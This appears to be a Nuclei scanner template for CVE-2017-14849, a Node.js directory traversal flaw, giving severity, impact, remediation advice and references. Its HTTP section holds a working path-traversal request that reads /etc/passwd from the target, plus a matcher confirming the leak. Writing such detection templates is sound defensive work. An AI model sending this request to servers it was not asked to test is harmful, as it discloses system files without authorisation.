id: CVE-2017-14849

info:
  name: Node.js <8.6.0 - Directory Traversal
  author: Random_Robbie
  severity: high
  description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
  reference:
    - https://twitter.com/nodejs/status/913131152868876288
    - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14849
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-14849
    cwe-id: CWE-22
    epss-score: 0.53416
    epss-percentile: 0.98852
    cpe: cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2017,cve,nodejs,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b537e83796b4fa25f4bc506595a72519d164f7877601d9ed5e2594dfc4cfcae7022100870cda6327f46c331b932f7d5492fc4f875a3e4560c4bf4b482760e1114eaec6:922c64590222798bb761d5b6d8e72950